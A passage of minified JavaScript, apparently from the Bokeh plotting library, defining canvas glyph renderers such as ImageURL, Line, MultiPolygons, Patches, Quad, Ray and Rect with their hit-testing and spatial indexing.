_=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageRGBAView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageRGBA\\\",this.prototype.default_view=s,this.define({image:[o.NumberSpec],dw:[o.DistanceSpec],dh:[o.DistanceSpec],global_alpha:[o.Number,1],dilate:[o.Bool,!1]})},t}(r.XYGlyph);(i.ImageRGBA=a).initClass()},function(t,e,m){var n=t(391),i=t(146),g=t(14),r=t(15),y=t(22),o=t(37);m.CanvasImage=Image;var s=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._images_rendered=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._index_data=function(){return new o.SpatialIndex([])},t.prototype._set_data=function(){var n=this;null!=this.image&&this.image.length==this._url.length||(this.image=y.map(this._url,function(){return null}));var t=this.model,r=t.retry_attempts,o=t.retry_timeout;this.retries=y.map(this._url,function(){return r});for(var e=function(t,e){if(null==s._url[t])return\\\"continue\\\";var i=new m.CanvasImage;i.onerror=function(){0<n.retries[t]?(g.logger.trace(\\\"ImageURL failed to load \\\"+n._url[t]+\\\" image, retrying in \\\"+o+\\\" ms\\\"),setTimeout(function(){return i.src=n._url[t]},o)):g.logger.warn(\\\"ImageURL unable to load \\\"+n._url[t]+\\\" image after \\\"+r+\\\" retries\\\"),n.retries[t]-=1},i.onload=function(){n.image[t]=i,n.renderer.request_render()},i.src=s._url[t]},s=this,i=0,a=this._url.length;i<a;i++)e(i,a);for(var l=\\\"data\\\"==this.model.properties.w.units,h=\\\"data\\\"==this.model.properties.h.units,u=this._x.length,c=new Array(l?2*u:u),_=new Array(h?2*u:u),i=0;i<u;i++)c[i]=this._x[i],_[i]=this._y[i];if(l)for(var i=0;i<u;i++)c[u+i]=this._x[i]+this._w[i];if(h)for(var i=0;i<u;i++)_[u+i]=this._y[i]+this._h[i];var p=y.min(c),d=y.max(c),f=y.min(_),v=y.max(_);this._bounds_rect={minX:p,maxX:d,minY:f,maxY:v}},t.prototype.has_finished=function(){return i.prototype.has_finished.call(this)&&1==this._images_rendered},t.prototype._map_data=function(){var t=null!=this.model.w?this._w:y.map(this._x,function(){return NaN}),e=null!=this.model.h?this._h:y.map(this._x,function(){return NaN});switch(this.model.properties.w.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,t,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=t}switch(this.model.properties.h.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,e,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=e}},t.prototype._render=function(t,e,i){var n=i.image,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=i._angle,h=this.renderer.plot_view.frame;t.rect(h._left.value+1,h._top.value+1,h._width.value-2,h._height.value-2),t.clip();for(var u=!0,c=0,_=e;c<_.length;c++){var p=_[c];if(!isNaN(r[p]+o[p]+l[p])&&-1!=this.retries[p]){var d=n[p];null!=d?this._render_image(t,p,d,r,o,s,a,l):u=!1}}u&&!this._images_rendered&&(this._images_rendered=!0,this.notify_finished())},t.prototype._final_sx_sy=function(t,e,i,n,r){switch(t){case\\\"top_left\\\":return[e,i];case\\\"top_center\\\":return[e-n/2,i];case\\\"top_right\\\":return[e-n,i];case\\\"center_right\\\":return[e-n,i-r/2];case\\\"bottom_right\\\":return[e-n,i-r];case\\\"bottom_center\\\":return[e-n/2,i-r];case\\\"bottom_left\\\":return[e,i-r];case\\\"center_left\\\":return[e,i-r/2];case\\\"center\\\":return[e-n/2,i-r/2]}},t.prototype._render_image=function(t,e,i,n,r,o,s,a){isNaN(o[e])&&(o[e]=i.width),isNaN(s[e])&&(s[e]=i.height);var l=this.model.anchor,h=this._final_sx_sy(l,n[e],r[e],o[e],s[e]),u=h[0],c=h[1];t.save(),t.globalAlpha=this.model.global_alpha,a[e]?(t.translate(u,c),t.rotate(a[e]),t.drawImage(i,0,0,o[e],s[e]),t.rotate(-a[e]),t.translate(-u,-c)):t.drawImage(i,u,c,o[e],s[e]),t.restore()},t.prototype.bounds=function(){return this._bounds_rect},t}(i.XYGlyphView);m.ImageURLView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageURL\\\",this.prototype.default_view=s,this.define({url:[r.StringSpec],anchor:[r.Anchor,\\\"top_left\\\"],global_alpha:[r.Number,1],angle:[r.AngleSpec,0],w:[r.DistanceSpec],h:[r.DistanceSpec],dilate:[r.Bool,!1],retry_attempts:[r.Number,0],retry_timeout:[r.Number,0]})},t}(i.XYGlyph);(m.ImageURL=a).initClass()},function(t,e,i){var n=t(114);i.AnnularWedge=n.AnnularWedge;var r=t(115);i.Annulus=r.Annulus;var o=t(116);i.Arc=o.Arc;var s=t(117);i.Bezier=s.Bezier;var a=t(120);i.Circle=a.Circle;var l=t(119);i.CenterRotatable=l.CenterRotatable;var h=t(121);i.Ellipse=h.Ellipse;var u=t(122);i.EllipseOval=u.EllipseOval;var c=t(123);i.Glyph=c.Glyph;var _=t(124);i.HBar=_.HBar;var p=t(125);i.HexTile=p.HexTile;var d=t(126);i.Image=d.Image;var f=t(127);i.ImageRGBA=f.ImageRGBA;var v=t(128);i.ImageURL=v.ImageURL;var m=t(130);i.Line=m.Line;var g=t(131);i.MultiLine=g.MultiLine;var y=t(132);i.MultiPolygons=y.MultiPolygons;var b=t(133);i.Oval=b.Oval;var x=t(134);i.Patch=x.Patch;var w=t(135);i.Patches=w.Patches;var k=t(136);i.Quad=k.Quad;var S=t(137);i.Quadratic=S.Quadratic;var C=t(138);i.Ray=C.Ray;var T=t(139);i.Rect=T.Rect;var A=t(140);i.Segment=A.Segment;var E=t(141);i.Step=E.Step;var M=t(142);i.Text=M.Text;var O=t(144);i.VBar=O.VBar;var z=t(145);i.Wedge=z.Wedge;var P=t(146);i.XYGlyph=P.XYGlyph},function(t,e,i){var n=t(391),r=t(146),a=t(143),c=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=!1,s=null;this.visuals.line.set_value(t);for(var a=0,l=e;a<l.length;a++){var h=l[a];if(o){if(!isFinite(n[h]+r[h])){t.stroke(),t.beginPath(),o=!1,s=h;continue}null!=s&&1<h-s&&(t.stroke(),o=!1)}o?t.lineTo(n[h],r[h]):(t.beginPath(),t.moveTo(n[h],r[h]),o=!0),s=h}o&&t.stroke()},e.prototype._hit_point=function(t){for(var e=this,i=c.create_empty_hit_test_result(),n={x:t.sx,y:t.sy},r=9999,o=Math.max(2,this.visuals.line.line_width.value()/2),s=0,a=this.sx.length-1;s<a;s++){var l={x:this.sx[s],y:this.sy[s]},h={x:this.sx[s+1],y:this.sy[s+1]},u=c.dist_to_segment(n,l,h);u<o&&u<r&&(r=u,i.add_to_selected_glyphs(this.model),i.get_view=function(){return e},i.line_indices=[s])}return i},e.prototype._hit_span=function(t){var e,i,n=this,r=t.sx,o=t.sy,s=c.create_empty_hit_test_result();\\\"v\\\"==t.direction?(e=this.renderer.yscale.invert(o),i=this._y):(e=this.renderer.xscale.invert(r),i=this._x);for(var a=0,l=i.length-1;a<l;a++)(i[a]<=e&&e<=i[a+1]||i[a+1]<=e&&e<=i[a])&&(s.add_to_selected_glyphs(this.model),s.get_view=function(){return n},s.line_indices.push(a));return s},e.prototype.get_interpolation_hit=function(t,e){var i=[this._x[t],this._y[t],this._x[t+1],this._y[t+1]],n=i[0],r=i[1],o=i[2],s=i[3];return a.line_interpolation(this.renderer,e,n,r,o,s)},e.prototype.draw_legend_for_index=function(t,e,i){a.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.LineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Line\\\",this.prototype.default_view=o,this.mixins([\\\"line\\\"])},t}(r.XYGlyph);(i.Line=s).initClass()},function(t,e,i){var n=t(391),m=t(37),d=t(9),f=t(32),g=t(21),y=t(44),r=t(123),l=t(143),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)if(null!=this._xs[e]&&0!==this._xs[e].length){for(var n=this._xs[e],r=[],o=0,s=n.length;o<s;o++){var a=n[o];y.isStrictNaN(a)||r.push(a)}for(var l=this._ys[e],h=[],o=0,s=l.length;o<s;o++){var u=l[o];y.isStrictNaN(u)||h.push(u)}var c=[g.min(r),g.max(r)],_=c[0],p=c[1],d=[g.min(h),g.max(h)],f=d[0],v=d[1];t.push({minX:_,minY:f,maxX:p,maxY:v,i:e})}return new m.SpatialIndex(t)},e.prototype._render=function(t,e,i){for(var n=i.sxs,r=i.sys,o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c])||isNaN(u[c])?(t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.stroke()}},e.prototype._hit_point=function(t){for(var e=d.create_empty_hit_test_result(),i={x:t.sx,y:t.sy},n=9999,r={},o=0,s=this.sxs.length;o<s;o++){for(var a=Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",o)/2),l=null,h=0,u=this.sxs[o].length-1;h<u;h++){var c={x:this.sxs[o][h],y:this.sys[o][h]},_={x:this.sxs[o][h+1],y:this.sys[o][h+1]},p=d.dist_to_segment(i,c,_);p<a&&p<n&&(n=p,l=[h])}l&&(r[o]=l)}return e.indices=f.keys(r).map(function(t){return parseInt(t,10)}),e.multiline_indices=r,e},e.prototype._hit_span=function(t){var e,i,n=t.sx,r=t.sy,o=d.create_empty_hit_test_result();\\\"v\\\"===t.direction?(e=this.renderer.yscale.invert(r),i=this._ys):(e=this.renderer.xscale.invert(n),i=this._xs);for(var s={},a=0,l=i.length;a<l;a++){for(var h=[],u=0,c=i[a].length-1;u<c;u++)i[a][u]<=e&&e<=i[a][u+1]&&h.push(u);0<h.length&&(s[a]=h)}return o.indices=f.keys(s).map(function(t){return parseInt(t,10)}),o.multiline_indices=s,o},e.prototype.get_interpolation_hit=function(t,e,i){var n=[this._xs[t][e],this._ys[t][e],this._xs[t][e+1],this._ys[t][e+1]],r=n[0],o=n[1],s=n[2],a=n[3];return l.line_interpolation(this.renderer,i,r,o,s,a)},e.prototype.draw_legend_for_index=function(t,e,i){l.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.MultiLineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiLine\\\",this.prototype.default_view=o,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.MultiLine=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),x=t(9),m=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++){var o=this._xs[e][n][0],s=this._ys[e][n][0];0!=o.length&&t.push({minX:u.min(o),minY:u.min(s),maxX:u.max(o),maxY:u.max(s),i:e})}return this.hole_index=this._index_hole_data(),new h.SpatialIndex(t)},e.prototype._index_hole_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++)if(1<this._xs[e][n].length)for(var o=1,s=this._xs[e][n].length;o<s;o++){var a=this._xs[e][n][o],l=this._ys[e][n][o];0!=a.length&&t.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:e})}return new h.SpatialIndex(t)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=x.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e}).filter(function(t,e,i){return 0===e||t!==i[e-1]})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;if(this.visuals.fill.doit||this.visuals.line.doit)for(var o=0,s=e;o<s.length;o++){var a=s[o];t.beginPath();for(var l=0,h=n[a].length;l<h;l++)for(var u=0,c=n[a][l].length;u<c;u++){for(var _=n[a][l][u],p=r[a][l][u],d=0,f=_.length;d<f;d++)0!=d?t.lineTo(_[d],p[d]):t.moveTo(_[d],p[d]);t.closePath()}this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,a),t.fill(\\\"evenodd\\\")),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,a),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=this.hole_index.indices({minX:n,minY:r,maxX:n,maxY:r}),a=[],l=0,h=o.length;l<h;l++)for(var u=o[l],c=this.sxs[u],_=this.sys[u],p=0,d=c.length;p<d;p++){var f=c[p].length;if(x.point_in_poly(e,i,c[p][0],_[p][0]))if(1==f)a.push(u);else if(-1==s.indexOf(u))a.push(u);else if(1<f){for(var v=!1,m=1;m<f;m++){var g=c[p][m],y=_[p][m];if(x.point_in_poly(e,i,g,y)){v=!0;break}}v||a.push(u)}}var b=x.create_empty_hit_test_result();return b.indices=a,b},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxs[t].length)return this._get_snap_coord(this.sxs[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(n[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.sys[t].length)return this._get_snap_coord(this.sys[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(r[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.map_data=function(){for(var t=this,e=0,i=this.model._coords;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=\\\"s\\\"+r,a=\\\"s\\\"+o;if(o=\\\"_\\\"+o,null!=t[r=\\\"_\\\"+r]&&(m.isArray(t[r][0])||m.isTypedArray(t[r][0]))){var l=t[r].length;t[s]=new Array(l),t[a]=new Array(l);for(var h=0;h<l;h++){var u=t[r][h].length;t[s][h]=new Array(u),t[a][h]=new Array(u);for(var c=0;c<u;c++){var _=t[r][h][c].length;t[s][h][c]=new Array(_),t[a][h][c]=new Array(_);for(var p=0;p<_;p++){var d=this.map_to_screen(t[r][h][c][p],t[o][h][c][p]),f=d[0],v=d[1];t[s][h][c][p]=f,t[a][h][c][p]=v}}}}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.MultiPolygonsView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiPolygons\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.MultiPolygons=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){var t,e=this._x.length;this.sw=new Float64Array(e),t=\\\"data\\\"==this.model.properties.width.units?this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this._width;for(var i=0;i<e;i++)this.sw[i]=.75*t[i];\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e}(r.EllipseOvalView);i.OvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Oval\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Oval=s).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy;if(this.visuals.fill.doit){this.visuals.fill.set_value(t);for(var o=0,s=e;o<s.length;o++){var a=s[o];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_value(t);for(var l=0,h=e;l<h.length;l++){var a=h[l];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}return t.closePath(),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.PatchView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patch\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.XYGlyph);(i.Patch=a).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),l=t(44),f=t(9),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._build_discontinuous_object=function(t){for(var e=[],i=0,n=t.length;i<n;i++){e[i]=[];for(var r=u.copy(t[i]);0<r.length;){var o=u.findLastIndex(r,function(t){return l.isStrictNaN(t)}),s=void 0;0<=o?s=r.splice(o):(s=r,r=[]);var a=s.filter(function(t){return!l.isStrictNaN(t)});e[i].push(a)}}return e},e.prototype._index_data=function(){for(var t=this._build_discontinuous_object(this._xs),e=this._build_discontinuous_object(this._ys),i=[],n=0,r=this._xs.length;n<r;n++)for(var o=0,s=t[n].length;o<s;o++){var a=t[n][o],l=e[n][o];0!=a.length&&i.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:n})}return new h.SpatialIndex(i)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=f.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;this.sxss=this._build_discontinuous_object(n),this.syss=this._build_discontinuous_object(r);for(var o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];if(this.visuals.fill.doit){this.visuals.fill.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.stroke()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o.length;a<l;a++)for(var h=o[a],u=this.sxss[h],c=this.syss[h],_=0,p=u.length;_<p;_++)f.point_in_poly(e,i,u[_],c[_])&&s.push(h);var d=f.create_empty_hit_test_result();return d.indices=s,d},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxss[t].length)return this._get_snap_coord(this.sxs[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(n[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.syss[t].length)return this._get_snap_coord(this.sys[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(r[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.PatchesView=a;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patches\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Patches=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.get_anchor_point=function(t,e,i){var n=Math.min(this.sleft[e],this.sright[e]),r=Math.max(this.sright[e],this.sleft[e]),o=Math.min(this.stop[e],this.sbottom[e]),s=Math.max(this.sbottom[e],this.stop[e]);switch(t){case\\\"top_left\\\":return{x:n,y:o};case\\\"top_center\\\":return{x:(n+r)/2,y:o};case\\\"top_right\\\":return{x:r,y:o};case\\\"center_right\\\":return{x:r,y:(o+s)/2};case\\\"bottom_right\\\":return{x:r,y:s};case\\\"bottom_center\\\":return{x:(n+r)/2,y:s};case\\\"bottom_left\\\":return{x:n,y:s};case\\\"center_left\\\":return{x:n,y:(o+s)/2};case\\\"center\\\":return{x:(n+r)/2,y:(o+s)/2};default:return null}},e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._right.length)},e.prototype._lrtb=function(t){var e=this._left[t],i=this._right[t],n=this._top[t],r=this._bottom[t];return[e,i,n,r]},e}(r.BoxView);i.QuadView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quad\\\",this.prototype.default_view=o,this.coords([[\\\"right\\\",\\\"bottom\\\"],[\\\"left\\\",\\\"top\\\"]])},t}(r.Box);(i.Quad=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143);function u(t,e,i){if(e==(t+i)/2)return[t,i];var n=(t-e)/(t-2*e+i),r=t*Math.pow(1-n,2)+2*e*(1-n)*n+i*Math.pow(n,2);return[Math.min(t,i,r),Math.max(t,i,r)]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx[e]+this._cy[e])){var n=u(this._x0[e],this._cx[e],this._x1[e]),r=n[0],o=n[1],s=u(this._y0[e],this._cy[e],this._y1[e]),a=s[0],l=s[1];t.push({minX:r,minY:a,maxX:o,maxY:l,i:e})}return new h.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx,l=i.scy;if(this.visuals.line.doit)for(var h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c]+l[c])||(t.beginPath(),t.moveTo(n[c],r[c]),t.quadraticCurveTo(a[c],l[c],o[c],s[c]),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.QuadraticView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quadratic\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx\\\",\\\"cy\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Quadratic=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.length.units?this.slength=this.sdist(this.renderer.xscale,this._x,this._length):this.slength=this._length},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.slength,s=i._angle;if(this.visuals.line.doit){for(var a=this.renderer.plot_view.frame._width.value,l=this.renderer.plot_view.frame._height.value,h=2*(a+l),u=0,c=o.length;u<c;u++)0==o[u]&&(o[u]=h);for(var _=0,p=e;_<p.length;_++){var u=p[_];isNaN(n[u]+r[u]+s[u]+o[u])||(t.translate(n[u],r[u]),t.rotate(s[u]),t.beginPath(),t.moveTo(0,0),t.lineTo(o[u],0),this.visuals.line.set_vectorize(t,u),t.stroke(),t.rotate(-s[u]),t.translate(-n[u],-r[u]))}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.RayView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ray\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\"]),this.define({length:[s.DistanceSpec],angle:[s.AngleSpec]})},t}(r.XYGlyph);(i.Ray=l).initClass()},function(t,e,i){var n=t(391),r=t(119),o=t(143),T=t(9),s=t(15),A=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){var t,e;if(\\\"data\\\"==this.model.properties.width.units)t=this._map_dist_corner_for_data_side_length(this._x,this._width,this.renderer.xscale),this.sw=t[0],this.sx0=t[1];else{this.sw=this._width;var i=this.sx.length;this.sx0=new Float64Array(i);for(var n=0;n<i;n++)this.sx0[n]=this.sx[n]-this.sw[n]/2}if(\\\"data\\\"==this.model.properties.height.units)e=this._map_dist_corner_for_data_side_length(this._y,this._height,this.renderer.yscale),this.sh=e[0],this.sy1=e[1];else{this.sh=this._height;var r=this.sy.length;this.sy1=new Float64Array(r);for(var n=0;n<r;n++)this.sy1[n]=this.sy[n]-this.sh[n]/2}var o=this.sw.length;this.ssemi_diag=new Float64Array(o);for(var n=0;n<o;n++)this.ssemi_diag[n]=Math.sqrt(this.sw[n]/2*this.sw[n]/2+this.sh[n]/2*this.sh[n]/2)},e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=i.sx0,s=i.sy1,a=i.sw,l=i.sh,h=i._angle;if(this.visuals.fill.doit)for(var u=0,c=e;u<c.length;u++){var _=c[u];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||(this.visuals.fill.set_vectorize(t,_),h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.fillRect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.fillRect(o[_],s[_],a[_],l[_]))}if(this.visuals.line.doit){t.beginPath();for(var p=0,d=e;p<d.length;p++){var _=d[p];isNaN(n[_]+r[_]+o[_]+s[_]+a[_]+l[_]+h[_])||0!=a[_]&&0!=l[_]&&(h[_]?(t.translate(n[_],r[_]),t.rotate(h[_]),t.rect(-a[_]/2,-l[_]/2,a[_],l[_]),t.rotate(-h[_]),t.translate(-n[_],-r[_])):t.rect(o[_],s[_],a[_],l[_]),this.visuals.line.set_vectorize(t,_),t.stroke(),t.beginPath())}t.stroke()}},e.prototype._hit_rect=function(t){return this._hit_rect_against_index(t)},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=[],s=0,a=this.sx0.length;s<a;s++)o.push(this.sx0[s]+this.sw[s]/2);for(var l=[],s=0,a=this.sy1.length;s<a;s++)l.push(this.sy1[s]+this.sh[s]/2);for(var h=A.max(this._ddist(0,o,this.ssemi_diag)),u=A.max(this._ddist(1,l,this.ssemi_diag)),c=n-h,_=n+h,p=r-u,d=r+u,f=[],v=T.validate_bbox_coords([c,_],[p,d]),m=0,g=this.index.indices(v);m<g.length;m++){var s=g[m],y=void 0,b=void 0;if(this._angle[s]){var 